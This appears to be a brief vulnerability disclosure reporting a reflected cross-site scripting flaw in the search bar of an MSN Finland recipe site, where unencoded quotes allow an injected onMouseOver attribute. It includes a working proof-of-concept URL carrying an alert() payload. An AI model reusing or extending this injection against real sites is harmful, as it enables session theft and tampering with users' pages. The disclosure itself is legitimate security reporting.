Overview
The search bar on this page fails to encode the quotes (") and as a result a onMouseOver event tag can be attached to the search bar which allows an XSS attack to occur.
Code:
http://ideakeittio.fi.msn.com/ruokaohjehaku/
?q=" onMouseOver=alert(/XSS/) "
&mealtypes=suolaiset
&mealtypes=leivonta-2
&main_ingredient=1